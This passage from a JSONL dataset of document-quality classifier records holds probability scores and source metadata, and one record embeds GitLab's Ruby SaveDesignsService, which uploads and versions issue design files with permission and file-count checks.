0.3680571028955911, "education_level": 0.6597553430996769, "creative_writing_quality": 0.9986755440679113, "primary_topic": 0.9463241316440804, "secondary_topic": 0.7504040275385448}, "probability_margin": {"primary": 0.995203287432685, "secondary": 0.9662975559918422, "tertiary": 0.9749633694329142, "education_level": 0.474932581489732, "creative_writing_quality": 0.9983014196768414, "primary_topic": 0.9218125094314024, "secondary_topic": 0.6357878339058575}, "raw_probabilities": {"primary": {"Academic Writing": 2.9587194751201842e-05, "Content Listing": 3.9402912217964496e-05, "Creative Writing": 1.8360317803324794e-05, "Customer Support Page": 9.521361121385832e-06, "Q&A Forum": 1.12066345363968e-05, "Discussion Thread": 8.577585276142962e-06, "Comment Section": 1.751399148152063e-05, "Missing Content": 2.6712843713762264e-05, "Knowledge Article": 0.00011424042861885916, "Legal Notices": 3.123070171398949e-05, "News Article": 5.246563976947127e-06, "Organizational Announcement": 1.1165217121336527e-05, "Nonfiction Writing": 1.6843812035252802e-05, "Organizational About Page": 1.289677079212123e-05, "Personal About Page": 2.198444264955097e-05, "Personal Blog": 9.188151190832148e-06, "Product Page": 8.683530046160353e-06, "Spam / Ads": 9.421357705751155e-06, "Structured Data": 0.0008994347893518102, "Technical Writing": 0.9967878234647359, "Transcript / Interview": 1.3826500443636691e-05, "Tutorial / How-To Guide": 0.0003059495752991682, "User Reviews": 6.645821365806318e-06, "Other / Unknown": 0.0015845360320509416}, "secondary": {"Academic Writing": 0.00017474374503516547, "Content Listing": 0.0004295599669556545, "Creative Writing": 0.00015991740856452353, "Customer Support Page": 9.70061896631396e-05, "Q&A Forum": 7.085735700258326e-05, "Discussion Thread": 6.487160810622283e-05, "Comment Section": 0.000673791625260229, "Missing Content": 0.000322600718644935, "Knowledge Article": 0.0016120594141957308, "Legal Notices": 0.00016091893267228784, "News Article": 8.825735892623896e-05, "Organizational Announcement": 8.911242073430301e-05, "Nonfiction Writing": 0.00026853144813540955, "Organizational About Page": 0.00011694252276561535, "Personal About Page": 0.00012586253778803757, "Personal Blog": 0.00010396719731725579, "Product Page": 5.835063209426487e-05, "Spam / Ads": 0.00010174968451284616, "Structured Data": 0.005148296160658307, "Technical Writing": 0.011370890680484403, "Transcript / Interview": 0.00010417646720745575, "Tutorial / How-To Guide": 0.0009401234600378903, "User Reviews": 4.8965790910973375e-05, "NONE": 0.9776684466723266}, "tertiary": {"Academic Writing": 0.00012280245099422038, "Content Listing": 0.0004702027425977784, "Creative Writing": 0.00013966320404644044, "Customer Support Page": 8.41505311810548e-05, "Q&A Forum": 4.656499048980219e-05, "Discussion Thread": 5.0862763301489766e-05, "Comment Section": 0.0006732296134681995, "Missing Content": 0.0004343603688726951, "Knowledge Article": 0.0023101575237833545, "Legal Notices": 0.0002192974612911725, "News Article": 8.03669432137252e-05, "Organizational Announcement": 8.082604351084436e-05, "Nonfiction Writing": 0.0006517496853432897, "Organizational About Page": 0.00011085969176339832, "Personal About Page": 0.00011672068860412482, "Personal Blog": 9.737801491933029e-05, "Product Page": 5.4884891769784426e-05, "Spam / Ads": 8.924547901814582e-05, "Structured Data": 0.0034810323885789956, "Technical Writing": 0.007305507694570835, "Transcript / Interview": 7.921715814953932e-05, "Tutorial / How-To Guide": 0.0009959020529241068, "User Reviews": 3.614049012268905e-05, "NONE": 0.982268877127485}, "structured_records": {"false": 0.9893580373378599, "true": 0.01064196266214007}, "procedural_steps": {"false": 0.9891670701442139, "true": 0.010832929855786082}, "worked_solution": {"false": 0.9985074214313142, "true": 0.001492578568685799}, "contextual_dialogue": {"false": 0.9999891405577619, "true": 1.0859442238092626e-05}, "content_quality": {"-2": 0.016891782078940144, "-1": 0.12265341311286525, "0": 0.3546478793742809, "1": 0.4017269177258325, "2": 0.10408000770808114}, "noise_severity": {"0": 0.9337549990402575, "1": 0.058350949636388635, "2": 0.005860114650224169, "3": 0.001233957862528127, "4": 0.0007999788106013081}, "missing_content_severity": {"0": 0.9805021557707738, "1": 0.010712750542861874, "2": 0.005889279932898029, "3": 0.002374227608150856, "4": 0.000521586145315333}, "factual_density": {"0": 0.009621775071103384, "1": 0.02041366591646545, "2": 0.11270799140135432, "3": 0.328026336255583, "4": 0.5292302313554939}, "pretraining_utility": {"-2": 0.009332398664331425, "-1": 0.10006265231253526, "0": 0.3860835935532475, "1": 0.43735319904594017, "2": 0.0671681564239456}, "math_density": {"0": 0.9490141104666058, "1": 0.042722885333411995, "2": 0.004374493393985875, "3": 0.0017221739628022774, "4": 0.002166336843194062}, "code_density": {"0": 0.00023670836856350233, "1": 0.00043474266706729626, "2": 0.011590678279091783, "3": 0.11871253899925688, "4": 0.8690253316860206}, "reasoning_density": {"0": 0.5763122668757554, "1": 0.20700934079492259, "2": 0.13371978798879838, "3": 0.0479518576093228, "4": 0.035006746731200744}, "education_level": {"none": 0.0015161297222832618, "0": 0.0018785811753137987, "1": 0.023199793398718006, "2": 0.7164627859163973, "3": 0.24153020442666534, "4": 0.015412505360622332}, "creative_writing_quality": {"not_applicable": 0.9988962867232594, "-2": 0.00010889496037521108, "-1": 0.0002807448483055024, "0": 0.0005948670464179544, "1": 9.126654113603238e-05, "2": 2.793988050580926e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 9.563040839782775e-05, "Art & Design": 0.006115418999858082, "Law & Crime": 0.00010293118144197349, "Education & Careers": 0.00011558095039332554, "Entertainment & Media": 0.00010407395872451288, "Fashion & Beauty": 0.00022023833583774812, "Business, Economics & Finance": 0.00031772686089304007, "Food & Dining": 0.0001356446653780374, "Games & Gaming": 0.000289608562893213, "Electronics & Hardware": 0.00014964049169091838, "Health, Healthcare & Wellness": 0.00026319690581153525, "History & Geography": 0.00013200174272039425, "Home, Pets & Hobbies": 0.02657607868790573, "Industry & Production": 0.005269267297993383, "Language, Literature & Philosophy": 0.00013000160533638814, "Politics & Government": 0.00016141126172895568, "Religion & Spirituality": 0.00014247931172276442, "Science, Mathematics & Engineering": 0.0042806903654846375, "Relationships & Community": 0.00010369970632369187, "Software Usage & Applications": 0.00046190469149212226, "Programming & Software Engineering": 0.948388588119308, "Sports & Fitness": 0.00015475462437972344, "Vehicles & Transportation": 9.391961197765741e-05, "Travel & Tourism": 0.0001861761733763446, "Other / Uncovered Subject": 0.005704406410846017, "Unknown / Insufficient Content": 0.0003049290680837853}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.001062696927864817, "Art & Design": 0.03088945961434857, "Law & Crime": 0.0008749116897909152, "Education & Careers": 0.0005972456499083496, "Entertainment & Media": 0.0007443439988879694, "Fashion & Beauty": 0.0007280355755668026, "Business, Economics & Finance": 0.0014618369713264381, "Food & Dining": 0.0005772319521803711, "Games & Gaming": 0.0007601781331835866, "Electronics & Hardware": 0.0007157334023272322, "Health, Healthcare & Wellness": 0.0012009386036958918, "History & Geography": 0.0006471933212402051, "Home, Pets & Hobbies": 0.12421603872735873, "Industry & Production": 0.008335251987996175, "Language, Literature & Philosophy": 0.0005480247393588056, "Politics & Government": 0.0006430279518342633, "Religion & Spirituality": 0.0007249082018320768, "Science, Mathematics & Engineering": 0.00834956870298137, "Relationships & Community": 0.00037830550648109573, "Software Usage & Applications": 0.002375725581799496, "Programming & Software Engineering": 0.036050500336071316, "Sports & Fitness": 0.00044445496252573045, "Vehicles & Transportation": 0.00034129484304350823, "Travel & Tourism": 0.0008744224622797757, "Other / Uncovered Subject": 0.016454797522900164, "NONE": 0.7600038726332162}}, "probabilities": {"primary": {"Academic Writing": 2.958719475120185e-05, "Content Listing": 3.94029122179645e-05, "Creative Writing": 1.8360317803324798e-05, "Customer Support Page": 9.521361121385834e-06, "Q&A Forum": 1.1206634536396802e-05, "Discussion Thread": 8.577585276142964e-06, "Comment Section": 1.7513991481520633e-05, "Missing Content": 2.671284371376227e-05, "Knowledge Article": 0.00011424042861885919, "Legal Notices": 3.12307017139895e-05, "News Article": 5.246563976947128e-06, "Organizational Announcement": 1.1165217121336529e-05, "Nonfiction Writing": 1.6843812035252806e-05, "Organizational About Page": 1.2896770792121234e-05, "Personal About Page": 2.1984442649550974e-05, "Personal Blog": 9.18815119083215e-06, "Product Page": 8.683530046160354e-06, "Spam / Ads": 9.421357705751157e-06, "Structured Data": 0.0008994347893518104, "Technical Writing": 0.9967878234647362, "Transcript / Interview": 1.3826500443636695e-05, "Tutorial / How-To Guide": 0.00030594957529916824, "User Reviews": 6.64582136580632e-06, "Other / Unknown": 0.001584536032050942}, "secondary": {"Academic Writing": 0.00017474374503516547, "Content Listing": 0.0004295599669556545, "Creative Writing": 0.00015991740856452353, "Customer Support Page": 9.70061896631396e-05, "Q&A Forum": 7.085735700258326e-05, "Discussion Thread": 6.487160810622283e-05, "Comment Section": 0.000673791625260229, "Missing Content": 0.000322600718644935, "Knowledge Article": 0.0016120594141957308, "Legal Notices": 0.00016091893267228784, "News Article": 8.825735892623896e-05, "Organizational Announcement": 8.911242073430301e-05, "Nonfiction Writing": 0.00026853144813540955, "Organizational About Page": 0.00011694252276561535, "Personal About Page": 0.00012586253778803757, "Personal Blog": 0.00010396719731725579, "Product Page": 5.835063209426487e-05, "Spam / Ads": 0.00010174968451284616, "Structured Data": 0.005148296160658307, "Technical Writing": 0.011370890680484403, "Transcript / Interview": 0.00010417646720745575, "Tutorial / How-To Guide": 0.0009401234600378903, "User Reviews": 4.8965790910973375e-05, "NONE": 0.9776684466723266}, "tertiary": {"Academic Writing": 0.00012280245099422038, "Content Listing": 0.0004702027425977784, "Creative Writing": 0.00013966320404644044, "Customer Support Page": 8.41505311810548e-05, "Q&A Forum": 4.656499048980219e-05, "Discussion Thread": 5.0862763301489766e-05, "Comment Section": 0.0006732296134681995, "Missing Content": 0.0004343603688726951, "Knowledge Article": 0.0023101575237833545, "Legal Notices": 0.0002192974612911725, "News Article": 8.03669432137252e-05, "Organizational Announcement": 8.082604351084436e-05, "Nonfiction Writing": 0.0006517496853432897, "Organizational About Page": 0.00011085969176339832, "Personal About Page": 0.00011672068860412482, "Personal Blog": 9.737801491933029e-05, "Product Page": 5.4884891769784426e-05, "Spam / Ads": 8.924547901814582e-05, "Structured Data": 0.0034810323885789956, "Technical Writing": 0.007305507694570835, "Transcript / Interview": 7.921715814953932e-05, "Tutorial / How-To Guide": 0.0009959020529241068, "User Reviews": 3.614049012268905e-05, "NONE": 0.982268877127485}, "structured_records": {"false": 0.9893580373378599, "true": 0.01064196266214007}, "procedural_steps": {"false": 0.9891670701442139, "true": 0.010832929855786082}, "worked_solution": {"false": 0.9985074214313142, "true": 0.001492578568685799}, "contextual_dialogue": {"false": 0.9999891405577619, "true": 1.0859442238092626e-05}, "content_quality": {"-2": 0.016891782078940147, "-1": 0.12265341311286526, "0": 0.35464787937428094, "1": 0.4017269177258326, "2": 0.10408000770808115}, "noise_severity": {"0": 0.9337549990402577, "1": 0.05835094963638865, "2": 0.005860114650224171, "3": 0.0012339578625281272, "4": 0.0007999788106013083}, "missing_content_severity": {"0": 0.9805021557707739, "1": 0.010712750542861875, "2": 0.0058892799328980295, "3": 0.0023742276081508565, "4": 0.0005215861453153331}, "factual_density": {"0": 0.009621775071103384, "1": 0.02041366591646545, "2": 0.11270799140135432, "3": 0.328026336255583, "4": 0.5292302313554939}, "pretraining_utility": {"-2": 0.009332398664331425, "-1": 0.10006265231253526, "0": 0.3860835935532475, "1": 0.43735319904594017, "2": 0.0671681564239456}, "math_density": {"0": 0.9490141104666058, "1": 0.042722885333411995, "2": 0.004374493393985875, "3": 0.0017221739628022774, "4": 0.002166336843194062}, "code_density": {"0": 0.00023670836856350233, "1": 0.00043474266706729626, "2": 0.011590678279091783, "3": 0.11871253899925688, "4": 0.8690253316860206}, "reasoning_density": {"0": 0.5763122668757554, "1": 0.20700934079492259, "2": 0.13371978798879838, "3": 0.0479518576093228, "4": 0.035006746731200744}, "education_level": {"none": 0.0015161297222832618, "0": 0.0018785811753137987, "1": 0.023199793398718006, "2": 0.7164627859163973, "3": 0.24153020442666534, "4": 0.015412505360622332}, "creative_writing_quality": {"not_applicable": 0.9988962867232595, "-2": 0.0001088949603752111, "-1": 0.00028074484830550243, "0": 0.0005948670464179546, "1": 9.126654113603239e-05, "2": 2.7939880505809264e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 9.563040839782777e-05, "Art & Design": 0.006115418999858083, "Law & Crime": 0.0001029311814419735, "Education & Careers": 0.00011558095039332555, "Entertainment & Media": 0.0001040739587245129, "Fashion & Beauty": 0.00022023833583774814, "Business, Economics & Finance": 0.0003177268608930401, "Food & Dining": 0.00013564466537803742, "Games & Gaming": 0.00028960856289321306, "Electronics & Hardware": 0.0001496404916909184, "Health, Healthcare & Wellness": 0.0002631969058115353, "History & Geography": 0.00013200174272039427, "Home, Pets & Hobbies": 0.026576078687905732, "Industry & Production": 0.005269267297993384, "Language, Literature & Philosophy": 0.00013000160533638817, "Politics & Government": 0.0001614112617289557, "Religion & Spirituality": 0.00014247931172276445, "Science, Mathematics & Engineering": 0.004280690365484638, "Relationships & Community": 0.00010369970632369189, "Software Usage & Applications": 0.0004619046914921223, "Programming & Software Engineering": 0.9483885881193082, "Sports & Fitness": 0.00015475462437972346, "Vehicles & Transportation": 9.391961197765743e-05, "Travel & Tourism": 0.00018617617337634464, "Other / Uncovered Subject": 0.005704406410846018, "Unknown / Insufficient Content": 0.00030492906808378536}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0010626969278648172, "Art & Design": 0.030889459614348573, "Law & Crime": 0.0008749116897909153, "Education & Careers": 0.0005972456499083497, "Entertainment & Media": 0.0007443439988879695, "Fashion & Beauty": 0.0007280355755668027, "Business, Economics & Finance": 0.0014618369713264383, "Food & Dining": 0.0005772319521803712, "Games & Gaming": 0.0007601781331835867, "Electronics & Hardware": 0.0007157334023272323, "Health, Healthcare & Wellness": 0.001200938603695892, "History & Geography": 0.0006471933212402052, "Home, Pets & Hobbies": 0.12421603872735874, "Industry & Production": 0.008335251987996176, "Language, Literature & Philosophy": 0.0005480247393588057, "Politics & Government": 0.0006430279518342634, "Religion & Spirituality": 0.0007249082018320769, "Science, Mathematics & Engineering": 0.008349568702981371, "Relationships & Community": 0.0003783055064810958, "Software Usage & Applications": 0.0023757255817994966, "Programming & Software Engineering": 0.03605050033607132, "Sports & Fitness": 0.0004444549625257305, "Vehicles & Transportation": 0.0003412948430435083, "Travel & Tourism": 0.0008744224622797758, "Other / Uncovered Subject": 0.016454797522900168, "NONE": 0.7600038726332163}}, "probability_diagnostics": {"primary": {"raw_sum": 0.9999999999999998, "mass_delta": -2.220446049250313e-16, "missing_mass": 2.220446049250313e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 0.9999999999999998, "mass_delta": -2.220446049250313e-16, "missing_mass": 2.220446049250313e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 11986, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 11986, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:36:09.750250+00:00", "scoring_key_slot": "assistant_1", "dataset_uid": "b75a3af4-e4d0-483a-be21-c9a682e05bc3", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "629d50a8422c7062782f254e7a498c48ba76e5e4fe9e2e4af9ab2444a24f5bdf", "source_metadata": {"uuid": "b75a3af4-e4d0-483a-be21-c9a682e05bc3", "repo_name": "Askensio/Viherkatto", "relative_path": "app/controllers/greenroofs_controller.rb", "category": "WEB", "algo_rel_score": 0.901423454284668, "quality_score": 3.323601722717285, "source_meta": {"github_metadata": {"branch": "master", "commit_count": 712, "repo_created_at": "2013-05-16T07:46:38.000Z", "is_fork": false, "is_org_owned": true, "forked_from": null, "stars": 4, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "fb9ec8fc154f4845f459d191b1c2b84ec37feb94", "size_bytes": 12270, "file_timestamp": 1372935751, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "8f49293f71a5490d1c5397996af771b161e11e8b"}}, "parsed_source_meta": {"github_metadata": {"branch": "master", "commit_count": 712, "repo_created_at": "2013-05-16T07:46:38.000Z", "is_fork": false, "is_org_owned": true, "forked_from": null, "stars": 4, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "fb9ec8fc154f4845f459d191b1c2b84ec37feb94", "size_bytes": 12270, "file_timestamp": 1372935751, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "8f49293f71a5490d1c5397996af771b161e11e8b", "url": "https://github.com/Askensio/Viherkatto/blob/8f49293f71a5490d1c5397996af771b161e11e8b/app/controllers/greenroofs_controller.rb"}, "gpt4o_tokens": 3311, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 0.4534499558712493, "noise_severity": 0.0769729677668266, "missing_content_severity": 0.031700337814371836, "factual_density": 3.3468295829078984, "pretraining_utility": 0.45296206225263325, "math_density": 0.06530374138256682, "code_density": 3.8558550429671037, "reasoning_density": 0.7583314765252908, "education_level": 2.2457708799345046, "creative_writing_quality": -0.3183693394954852}, "score_applicability": {"education_level": 0.9984838702777168, "creative_writing_quality": 0.0011037132767405097}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/gitlabhq/gitlabhq/blob/9c7ce66dac0adbe72a9578939d941c275db015ff/app/services/design_management/save_designs_service.rb", "id": "ruby-0-3fbe7c73a96d9fc55f6115074cd30556", "text": "# frozen_string_literal: true\n\nmodule DesignManagement\n class SaveDesignsService < DesignService\n include RunsDesignActions\n include OnSuccessCallbacks\n include Gitlab::InternalEventsTracking\n\n MAX_FILES = 10\n\n def initialize(project, user, params = {})\n super\n\n @files = params.fetch(:files)\n end\n\n def execute\n return error(\"Not allowed!\") unless can_create_designs?\n return error(\"Only #{MAX_FILES} files are allowed simultaneously\") if files.size > MAX_FILES\n return error(\"Duplicate filenames are not allowed!\") if files.map(&:original_filename).uniq.length != files.length\n return error(\"Design copy is in progress\") if design_collection.copy_in_progress?\n\n uploaded_designs, version = upload_designs!\n skipped_designs = designs - uploaded_designs\n\n create_events\n design_collection.reset_copy!\n\n success({ designs: uploaded_designs, version: version, skipped_designs: skipped_designs })\n rescue ::ActiveRecord::RecordInvalid => e\n error(e.message)\n end\n\n private\n\n attr_reader :files\n\n def upload_designs!\n DesignManagement::Version.with_lock(project.id, repository) do\n actions = build_actions\n\n [\n actions.map(&:design),\n actions.presence && run_actions(actions)\n ]\n end\n end\n\n # Returns `Design` instances that correspond with `files`.\n # New `Design`s will be created where a file name does not match\n # an existing `Design`\n def designs\n @designs ||= files.map do |file|\n collection.find_or_create_design!(filename: file.original_filename)\n end\n end\n\n def build_actions\n @actions ||= files.zip(designs).flat_map do |(file, design)|\n Array.wrap(build_design_action(file, design))\n end\n end\n\n def build_design_action(file, design)\n content = file_content(file, design.full_path)\n return if design_unchanged?(design, content)\n\n action = new_file?(design) ? :create : :update\n on_success do\n track_usage_metrics(action)\n end\n\n DesignManagement::DesignAction.new(design, action, content)\n end\n\n # Returns true if the design file is the same as its latest version\n def design_unchanged?(design, content)\n content == existing_blobs[design]&.data\n end\n\n def create_events\n by_action = @actions.group_by(&:action).transform_values { |grp| grp.map(&:design) }\n\n event_create_service.save_designs(current_user, **by_action)\n end\n\n def event_create_service\n @event_create_service ||= EventCreateService.new\n end\n\n def commit_message\n <<~MSG\n Updated #{files.size} #{'designs'.pluralize(files.size)}\n\n #{formatted_file_list}\n MSG\n end\n\n def formatted_file_list\n filenames.map { |name| \"- #{name}\" }.join(\"\\n\")\n end\n\n def filenames\n @filenames ||= files.map(&:original_filename)\n end\n\n def can_create_designs?\n Ability.allowed?(current_user, :create_design, issue)\n end\n\n def new_file?(design)\n !existing_blobs[design]\n end\n\n def file_content(file, full_path)\n transformer = ::Lfs::FileTransformer.new(project, repository, target_branch)\n transformer.new_file(full_path, file.to_io, detect_content_type: Feature.enabled?(:design_management_allow_dangerous_images, project)).content\n end\n\n # Returns the latest blobs for the designs as a Hash of `{ Design => Blob }`\n def existing_blobs\n @existing_blobs ||= begin\n items = designs.map { |d| [target_branch, d.full_path] }\n\n repository.blobs_at(items).each_with_object({}) do |blob, h|\n design = designs.find { |d| d.full_path == blob.path }\n\n h[design] = blob\n end\n end\n end\n\n def track_usage_metrics(action)\n if action == :update\n ::Gitlab::UsageDataCounters::IssueActivityUniqueCounter\n .track_issue_designs_modified_action(author: current_user, project: project)\n track_internal_event('update_design_management_design', user: current_user, project: project)\n else\n ::Gitlab::UsageDataCounters::IssueActivityUniqueCounter\n .track_issue_designs_added_action(author: current_user, project: project)\n track_internal_event('create_design_management_design', user: current_user, project: project)\n end\n end\n end\nend\n\nDesignManagement::SaveDesignsService.prepend_mod_with('DesignManagement::SaveDesignsService')\n", "text_preview": "# frozen_string_literal: true module DesignManagement class SaveDesignsService < DesignService include RunsDesignActions include OnSuccessCallbacks include Gitlab::InternalEventsTracking MAX_FILES = 10 def initialize(project, user, params =", "input_sha256": "166c6b4198dc4668b77c30682d20a633cd5d279b5511e07d7d80c7f3a2ff4ce3", "text_sha256": "3fbe7c73a96d9fc55f6115074cd305565cb7acc1dae00a93a02ade669fc4aacd", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16105, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 1, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 3, "creative_writing_quality": null}, "score_expectations": {"content_quality": 1.2802669724369407, "noise_severity": 0.018540941054532644, "missing_content_severity": 0.011051332820198687, "factual_density": 3.5360657093255456, "pretraining_utility": 0.5539561132045581, "math_density": 0.0494661200170001, "code_density": 3.931108413975753, "reasoning_density": 1.0041348494552997, "education_level": 2.795410599554988, "creative_writing_quality": -0.04881664182362672}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "3", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.0033274802530229852, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9980445963357739, "secondary": 0.9923188545823586, "tertiary": 0.9957910078898607, "structured_records": 0.002703367271362328, "procedural_steps": 0.007390473675686553, "worked_solution": 0.0012189895598745028, "contextual_dialogue": 5.1740890031993096e-06, "content_quality": 0.5642800637805775, "noise_severity": 0.9845492157878895, "missing_content_severity": 0.9907905559831678, "factual_density": 0.6133880911046211, "pretraining_utility": 0.4765463663775762, "math_density": 0.9587782333191666, "code_density": 0.942590344979794, "reasoning_density": 0.16322095878725018, "education_level": 0.49026826205260493, "creative_writing_quality": 0.9988711325317589, "primary_topic": 0.9827546506021525, "secondary_topic": 0.8943415666142812}, "probability_margin": {"primary": 0.9969727473649049, "secondary": 0.9884642400824455, "tertiary": 0.9938325888724947, "education_level": 0.2702992063857839, "creative_writing_quality": 0.9984879993624076, "primary_topic": 0.9700700569430236, "secondary_topic": 0.8192803249621677}, "raw_probabilities": {"primary": {"Academic Writing": 2.785103039224751e-05, "Content Listing": 1.8470130514184063e-05, "Creative Writing": 9.507318237993e-06, "Customer Support Page": 7.123525427010632e-06, "Q&A Forum": 7.877879586769784e-06, "Discussion Thread": 4.803906286311671e-06, "Comment Section": 8.750103024068335e-06, "Missing Content": 1.8028347155526593e-05, "Knowledge Article": 7.115232197399786e-05, "Legal Notices": 2.696896588605529e-05, "News Article": 2.9291360237425624e-06, "Organizational Announcement": 9.010503565750647e-06, "Nonfiction Writing": 6.019070475105477e-06, "Organizational About Page": 7.025191447240566e-06, "Personal About Page": 4.841713076247149e-06, "Personal Blog": 4.6772164190327525e-06, "Product Page": 4.525928929971323e-06, "Spam / Ads": 6.347515445720538e-06, "Structured Data": 0.00037419748981518277, "Technical Writing": 0.99812607148845, "Transcript / Interview": 9.4244295406792e-06, "Tutorial / How-To Guide": 8.697875634781895e-05, "User Reviews": 4.093908433992768e-06, "Other / Unknown": 0.0011533241235451295}, "secondary": {"Academic Writing": 8.0151137370888e-05, "Content Listing": 5.058536277969051e-05, "Creative Writing": 4.596207325761313e-05, "Customer Support Page": 3.57769887980342e-05, "Q&A Forum": 1.8078277750369134e-05, "Discussion Thread": 1.645389878593148e-05, "Comment Section": 5.135147184974752e-05, "Missing Content": 0.0001622149935813942, "Knowledge Article": 0.0003901530046280891, "Legal Notices": 0.00011572475616454524, "News Article": 2.6958142169480593e-05, "Organizational Announcement": 2.9342556026215865e-05, "Nonfiction Writing": 2.382468155383045e-05, "Organizational About Page": 3.0763743605979496e-05, "Personal About Page": 2.359809031525197e-05, "Personal Blog": 2.2334297983173957e-05, "Product Page": 1.7142461804714918e-05, "Spam / Ads": 2.9816730877323422e-05, "Structured Data": 0.0017494384875619406, "Technical Writing": 0.004174662225648162, "Transcript / Interview": 3.267817050053797e-05, "Tutorial / How-To Guide": 0.00022143094878227432, "User Reviews": 1.265519011119115e-05, "NONE": 0.9926389023080936}, "tertiary": {"Academic Writing": 4.827154247276941e-05, "Content Listing": 3.7851099258247184e-05, "Creative Writing": 4.175578196145909e-05, "Customer Support Page": 2.291918660084564e-05, "Q&A Forum": 1.2512633650811929e-05, "Discussion Thread": 1.0778338078865246e-05, "Comment Section": 3.5560936994987186e-05, "Missing Content": 0.00016579764249985255, "Knowledge Article": 0.00023261658666663346, "Legal Notices": 0.00013428245322455413, "News Article": 2.4115984113828845e-05, "Organizational Announcement": 2.5039340285071312e-05, "Nonfiction Writing": 2.3074867996231067e-05, "Organizational About Page": 3.269020563422841e-05, "Personal About Page": 1.50634517481389e-05, "Personal Blog": 1.776717931979674e-05, "Product Page": 1.4891769941175254e-05, "Spam / Ads": 2.395604276011142e-05, "Structured Data": 0.0007356085946708755, "Technical Writing": 0.0021337936886218433, "Transcript / Interview": 2.2384079788097375e-05, "Tutorial / How-To Guide": 0.00021175416801054597, "User Reviews": 1.1131864584414049e-05, "NONE": 0.9959663825611166}, "structured_records": {"false": 0.9972966327286377, "true": 0.002703367271362328}, "procedural_steps": {"false": 0.9926095263243134, "true": 0.007390473675686553}, "worked_solution": {"false": 0.9987810104401255, "true": 0.0012189895598745028}, "contextual_dialogue": {"false": 0.9999948259109968, "true": 5.1740890031993096e-06}, "content_quality": {"-2": 0.003143029179563703, "-1": 0.006563294947315453, "0": 0.09874279807986124, "1": 